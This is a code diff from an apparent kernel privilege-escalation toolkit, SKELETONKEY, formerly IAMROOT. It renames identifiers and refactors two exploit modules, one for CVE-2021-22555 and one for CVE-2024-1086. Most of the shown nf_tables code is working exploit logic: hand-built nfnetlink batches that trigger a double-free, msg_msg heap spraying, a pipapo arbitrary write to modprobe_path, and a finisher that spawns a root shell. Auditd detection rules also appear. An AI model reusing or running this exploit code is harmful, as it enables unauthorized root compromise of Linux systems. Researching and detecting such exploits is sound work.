static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] netfilter_xtcompat: Linux-only module "
|
||||||
|
"(xt_compat_target_to_user via SET_REPLACE) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] netfilter_xtcompat: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* ---- Detection rules --------------------------------------------- */
|
/* ---- Detection rules --------------------------------------------- */
|
||||||
|
|
||||||
static const char netfilter_xtcompat_auditd[] =
|
static const char netfilter_xtcompat_auditd[] =
|
||||||
@@ -970,12 +955,12 @@ static const char netfilter_xtcompat_auditd[] =
|
|||||||
"# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n"
|
"# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n"
|
||||||
"# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n"
|
"# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n"
|
||||||
"# msgsnd/msgrcv heap-spray patterns.\n"
|
"# msgsnd/msgrcv heap-spray patterns.\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-xtcompat\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-xtcompat\n"
|
||||||
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k iamroot-xtcompat-iptopt\n"
|
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k skeletonkey-xtcompat-iptopt\n"
|
||||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-xtcompat-msgmsg\n"
|
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
|
||||||
"-a always,exit -F arch=b64 -S msgrcv -k iamroot-xtcompat-msgmsg\n";
|
"-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
|
||||||
|
|
||||||
const struct iamroot_module netfilter_xtcompat_module = {
|
const struct skeletonkey_module netfilter_xtcompat_module = {
|
||||||
.name = "netfilter_xtcompat",
|
.name = "netfilter_xtcompat",
|
||||||
.cve = "CVE-2021-22555",
|
.cve = "CVE-2021-22555",
|
||||||
.summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root",
|
.summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root",
|
||||||
@@ -991,7 +976,7 @@ const struct iamroot_module netfilter_xtcompat_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_netfilter_xtcompat(void)
|
void skeletonkey_register_netfilter_xtcompat(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&netfilter_xtcompat_module);
|
skeletonkey_register(&netfilter_xtcompat_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
|
||||||
|
#define NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module netfilter_xtcompat_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
# NOTICE — nf_tables (CVE-2024-1086)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2024-1086** — `nft_verdict_init` double-free → cross-cache UAF
|
||||||
|
→ arbitrary kernel R/W.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered, exploited, and disclosed by **Notselwyn** (Pumpkin),
|
||||||
|
January 2024.
|
||||||
|
|
||||||
|
Original advisory + exploit: <https://pwning.tech/nftables/>
|
||||||
|
GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
|
||||||
|
|
||||||
|
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
|
||||||
|
Stable backports throughout Q1 2024.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
|
||||||
|
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
|
||||||
|
dependency. The msg_msg cross-cache groom into kmalloc-cg-96 is wired
|
||||||
|
but the full pipapo R/W stage is opt-in via `--full-chain`, which
|
||||||
|
forges a pipapo_elem with a value-pointer pointing at modprobe_path.
|
||||||
|
Per-kernel offset assumptions are documented; the shared finisher's
|
||||||
|
sentinel arbitrates real vs. apparent success.
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* nf_tables_cve_2024_1086 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef NF_TABLES_IAMROOT_MODULES_H
|
|
||||||
#define NF_TABLES_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module nf_tables_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+104
-88
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* nf_tables_cve_2024_1086 — IAMROOT module
|
* nf_tables_cve_2024_1086 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
|
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
|
||||||
* with NFT_DROP/NFT_QUEUE. Triggers a double-free → cross-cache UAF
|
* with NFT_DROP/NFT_QUEUE. Triggers a double-free → cross-cache UAF
|
||||||
@@ -13,11 +13,11 @@
|
|||||||
* (table → chain → set → rule with the NFT_GOTO+NFT_DROP combo
|
* (table → chain → set → rule with the NFT_GOTO+NFT_DROP combo
|
||||||
* that nft_verdict_init() fails to reject on vulnerable kernels),
|
* that nft_verdict_init() fails to reject on vulnerable kernels),
|
||||||
* fires the double-free path, runs the msg_msg cg-96 groom, and
|
* fires the double-free path, runs the msg_msg cg-96 groom, and
|
||||||
* returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
|
* returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
|
||||||
* - With --full-chain: after the trigger lands, we resolve kernel
|
* - With --full-chain: after the trigger lands, we resolve kernel
|
||||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||||
* a Notselwyn-style pipapo arb-write via the shared
|
* a Notselwyn-style pipapo arb-write via the shared
|
||||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself
|
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
|
||||||
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
|
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
|
||||||
* payload tagged with the kaddr in the value-pointer slot. The
|
* payload tagged with the kaddr in the value-pointer slot. The
|
||||||
* exact pipapo_elem layout (and the value-pointer field offset)
|
* exact pipapo_elem layout (and the value-pointer field offset)
|
||||||
@@ -34,7 +34,7 @@
|
|||||||
* heap pointer.
|
* heap pointer.
|
||||||
* 3. Implement the sk_buff fragment overwrite to plant a fake
|
* 3. Implement the sk_buff fragment overwrite to plant a fake
|
||||||
* pipapo_elem whose value points at modprobe_path.
|
* pipapo_elem whose value points at modprobe_path.
|
||||||
* 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path.
|
* 4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path.
|
||||||
* 5. execve() an unknown binary to invoke modprobe with our payload.
|
* 5. execve() an unknown binary to invoke modprobe with our payload.
|
||||||
*
|
*
|
||||||
* Affected kernel ranges:
|
* Affected kernel ranges:
|
||||||
@@ -55,18 +55,23 @@
|
|||||||
* for unprivileged users even on a kernel-vulnerable host.
|
* for unprivileged users even on a kernel-vulnerable host.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
@@ -108,19 +113,6 @@ static const struct kernel_range nf_tables_range = {
|
|||||||
* Preconditions probe
|
* Preconditions probe
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static int can_unshare_userns(void)
|
|
||||||
{
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) return -1;
|
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool nf_tables_loaded(void)
|
static bool nf_tables_loaded(void)
|
||||||
{
|
{
|
||||||
FILE *f = fopen("/proc/modules", "r");
|
FILE *f = fopen("/proc/modules", "r");
|
||||||
@@ -134,60 +126,63 @@ static bool nf_tables_loaded(void)
|
|||||||
return found;
|
return found;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
return IAMROOT_TEST_ERROR;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] nf_tables: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.14. Anything below predates it. */
|
/* Bug introduced in 5.14. Anything below predates it. */
|
||||||
if (v.major < 5 || (v.major == 5 && v.minor < 14)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 14, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
|
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
|
||||||
"(introduced in 5.14)\n", v.release);
|
"(introduced in 5.14)\n", v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
|
bool patched = kernel_range_is_patched(&nf_tables_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
bool nft_loaded = nf_tables_loaded();
|
bool nft_loaded = nf_tables_loaded();
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] nf_tables: kernel %s is in the vulnerable range\n",
|
fprintf(stderr, "[i] nf_tables: kernel %s is in the vulnerable range\n",
|
||||||
v.release);
|
v->release);
|
||||||
fprintf(stderr, "[i] nf_tables: unprivileged user_ns clone: %s\n",
|
fprintf(stderr, "[i] nf_tables: unprivileged user_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" :
|
|
||||||
"could not test");
|
|
||||||
fprintf(stderr, "[i] nf_tables: nf_tables module currently loaded: %s\n",
|
fprintf(stderr, "[i] nf_tables: nf_tables module currently loaded: %s\n",
|
||||||
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nf_tables: kernel vulnerable but user_ns clone "
|
fprintf(stderr, "[+] nf_tables: kernel vulnerable but user_ns clone "
|
||||||
"denied → unprivileged exploit unreachable\n");
|
"denied → unprivileged exploit unreachable\n");
|
||||||
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
|
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
|
||||||
"attacker can still trigger the bug\n");
|
"attacker can still trigger the bug\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
|
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
|
||||||
"clone allowed\n");
|
"clone allowed\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
@@ -229,7 +224,7 @@ static int enter_unpriv_namespaces(void)
|
|||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* Minimal nfnetlink batch builder. We hand-roll this rather than
|
* Minimal nfnetlink batch builder. We hand-roll this rather than
|
||||||
* pulling libmnl, both to keep IAMROOT dep-free and because the bug
|
* pulling libmnl, both to keep SKELETONKEY dep-free and because the bug
|
||||||
* relies on a specific malformed verdict that libnftnl validates away.
|
* relies on a specific malformed verdict that libnftnl validates away.
|
||||||
*
|
*
|
||||||
* Each helper appends to a contiguous batch buffer at *off.
|
* Each helper appends to a contiguous batch buffer at *off.
|
||||||
@@ -318,9 +313,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
|||||||
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
|
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
|
||||||
* PoC (greatly simplified):
|
* PoC (greatly simplified):
|
||||||
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
|
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
|
||||||
* 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet
|
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" family=inet
|
||||||
* 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table
|
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" inside the table
|
||||||
* 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict,
|
* 4. NFT_MSG_NEWSET "skeletonkey_s" inside the table, key=verdict,
|
||||||
* data=verdict (the pipapo combo that holds the bad verdict),
|
* data=verdict (the pipapo combo that holds the bad verdict),
|
||||||
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
|
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
|
||||||
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
|
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
|
||||||
@@ -341,9 +336,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
|||||||
* cross-cache groom.
|
* cross-cache groom.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static const char NFT_TABLE_NAME[] = "iamroot_t";
|
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
|
||||||
static const char NFT_CHAIN_NAME[] = "iamroot_c";
|
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
|
||||||
static const char NFT_SET_NAME[] = "iamroot_s";
|
static const char NFT_SET_NAME[] = "skeletonkey_s";
|
||||||
|
|
||||||
/* batch begin / end markers */
|
/* batch begin / end markers */
|
||||||
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
|
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
|
||||||
@@ -382,7 +377,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
|||||||
end_msg(buf, off, at);
|
end_msg(buf, off, at);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* NFT_MSG_NEWTABLE inet "iamroot_t" */
|
/* NFT_MSG_NEWTABLE inet "skeletonkey_t" */
|
||||||
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||||
{
|
{
|
||||||
size_t at = *off;
|
size_t at = *off;
|
||||||
@@ -447,8 +442,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
|
|||||||
* AND once on data_release → double free.
|
* AND once on data_release → double free.
|
||||||
*
|
*
|
||||||
* We pack:
|
* We pack:
|
||||||
* NFTA_SET_ELEM_LIST_TABLE = "iamroot_t"
|
* NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t"
|
||||||
* NFTA_SET_ELEM_LIST_SET = "iamroot_s"
|
* NFTA_SET_ELEM_LIST_SET = "skeletonkey_s"
|
||||||
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
|
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
|
||||||
* data=verdict(GOTO chain-id=...) } }
|
* data=verdict(GOTO chain-id=...) } }
|
||||||
*/
|
*/
|
||||||
@@ -618,7 +613,6 @@ static long slabinfo_active(const char *slab)
|
|||||||
* Factored out so --full-chain can re-fire the trigger between
|
* Factored out so --full-chain can re-fire the trigger between
|
||||||
* msg_msg sprays without duplicating the batch-building logic.
|
* msg_msg sprays without duplicating the batch-building logic.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
#ifdef __linux__
|
|
||||||
static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
||||||
{
|
{
|
||||||
(void)cap;
|
(void)cap;
|
||||||
@@ -657,7 +651,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
|||||||
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
|
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
|
||||||
* exploitable range for which Notselwyn's public PoC was validated)
|
* exploitable range for which Notselwyn's public PoC was validated)
|
||||||
* and rely on the shared finisher's sentinel-file post-check to flag
|
* and rely on the shared finisher's sentinel-file post-check to flag
|
||||||
* a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success.
|
* a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
struct nft_arb_ctx {
|
struct nft_arb_ctx {
|
||||||
@@ -792,26 +786,28 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
|
|||||||
usleep(20 * 1000);
|
usleep(20 * 1000);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
#endif /* __linux__ */
|
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* The exploit body.
|
* The exploit body.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
|
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
|
||||||
iamroot_result_t pre = nf_tables_detect(ctx);
|
skeletonkey_result_t pre = nf_tables_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Gate 2: already root? Nothing to escalate. */
|
/* Gate 2: already root? Nothing to escalate. Consult ctx->host first
|
||||||
if (geteuid() == 0) {
|
* so unit tests can construct a non-root fingerprint regardless of
|
||||||
|
* the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[i] nf_tables: already running as root\n");
|
fprintf(stderr, "[i] nf_tables: already running as root\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -825,7 +821,6 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
/* --- --full-chain path --------------------------------------- *
|
/* --- --full-chain path --------------------------------------- *
|
||||||
* Resolve offsets BEFORE doing anything destructive so we can
|
* Resolve offsets BEFORE doing anything destructive so we can
|
||||||
* refuse cleanly on hosts where we have no modprobe_path. We run
|
* refuse cleanly on hosts where we have no modprobe_path. We run
|
||||||
@@ -834,27 +829,27 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* as the arb-write.
|
* as the arb-write.
|
||||||
*/
|
*/
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
iamroot_offsets_resolve(&off);
|
skeletonkey_offsets_resolve(&off);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("nf_tables");
|
skeletonkey_finisher_print_offset_help("nf_tables");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
|
|
||||||
if (enter_unpriv_namespaces() < 0) {
|
if (enter_unpriv_namespaces() < 0) {
|
||||||
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
|
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||||
if (sock < 0) {
|
if (sock < 0) {
|
||||||
perror("[-] socket(NETLINK_NETFILTER)");
|
perror("[-] socket(NETLINK_NETFILTER)");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
int rcvbuf = 1 << 20;
|
int rcvbuf = 1 << 20;
|
||||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||||
@@ -863,11 +858,11 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
int qids[SPRAY_MSGS * 4];
|
int qids[SPRAY_MSGS * 4];
|
||||||
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
|
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
|
||||||
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
|
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
|
||||||
close(sock); return IAMROOT_EXPLOIT_FAIL;
|
close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t *batch = calloc(1, 16 * 1024);
|
uint8_t *batch = calloc(1, 16 * 1024);
|
||||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||||
|
|
||||||
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
|
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
|
||||||
uint32_t seq = (uint32_t)time(NULL);
|
uint32_t seq = (uint32_t)time(NULL);
|
||||||
@@ -880,12 +875,12 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
|
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
|
||||||
drain_spray(qids, SPRAY_MSGS / 2);
|
drain_spray(qids, SPRAY_MSGS / 2);
|
||||||
free(batch); close(sock);
|
free(batch); close(sock);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Wire up the arb-write context and hand off to the shared
|
/* Wire up the arb-write context and hand off to the shared
|
||||||
* finisher. The finisher will:
|
* finisher. The finisher will:
|
||||||
* - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N)
|
* - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N)
|
||||||
* which re-fires the trigger and sprays forged pipapo elems
|
* which re-fires the trigger and sprays forged pipapo elems
|
||||||
* - execve() the trigger binary to invoke modprobe
|
* - execve() the trigger binary to invoke modprobe
|
||||||
* - poll for the setuid sentinel, and spawn a root shell. */
|
* - poll for the setuid sentinel, and spawn a root shell. */
|
||||||
@@ -898,7 +893,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
.qused = SPRAY_MSGS / 2,
|
.qused = SPRAY_MSGS / 2,
|
||||||
};
|
};
|
||||||
|
|
||||||
iamroot_result_t r = iamroot_finisher_modprobe_path(&off,
|
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off,
|
||||||
nft_arb_write, &ac, !ctx->no_shell);
|
nft_arb_write, &ac, !ctx->no_shell);
|
||||||
|
|
||||||
drain_spray(qids, ac.qused);
|
drain_spray(qids, ac.qused);
|
||||||
@@ -906,14 +901,13 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
close(sock);
|
close(sock);
|
||||||
return r;
|
return r;
|
||||||
}
|
}
|
||||||
#endif
|
|
||||||
|
|
||||||
/* --- primitive-only path: fork-isolated trigger -------------- *
|
